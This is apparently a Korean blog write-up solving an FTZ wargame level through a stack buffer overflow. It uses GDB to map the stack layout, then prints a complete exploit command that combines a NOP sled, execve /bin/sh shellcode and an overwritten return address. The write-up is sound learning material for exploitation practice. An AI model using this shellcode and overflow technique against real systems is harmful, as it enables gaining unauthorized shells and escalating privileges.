BOF의 냄새...
코드해석은 따로 안하고
바로 GDB를 돌려보자..
<main+3>부분을 보면 108만큼의 공간을 할당한다.
10진수로 변환하면 264이다.
메모리는 str(=256) + 더미(=8) + SFP(=4) + RET(=4) 만큼 있다.
그러면 쉘을 따는 주소를 str에 넣고 RET에는 그 쉘로가는 주소를 넣으면 될것이다.
그러면 GDB디버깅을 위해 ./tmp에 attackme를 코딩하자
그리고나서 GDB디버깅 ㄱㄱ
그럼 str주소를 찾아보면 0xbffffb50가 되겠고., NOP를 채우고 맞는 쉘값을 넣고 RET를 0xbffffb50로 주게되면
최종적인 공격 코드는 ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b
\xcd\x80"+"\x50\xfb\xff\xbf"'`가 될것이다.
(사진은 트러블 슈팅 불가로 인해 미첨부.ㅠ;;)
결과는
성공적이였다.
'Pwnable > FTZ' 카테고리의 다른 글
FTZ Level13 풀이(해결) (0) | 2016.07.16 |
---|---|
FTZ Level12 풀이(EggShell로 해결) (0) | 2016.07.16 |
FTZ Level10 풀이 (0) | 2016.07.15 |
FTZ Level9 풀이 (0) | 2016.07.15 |
FTZ Level8 풀이 (0) | 2016.07.15 |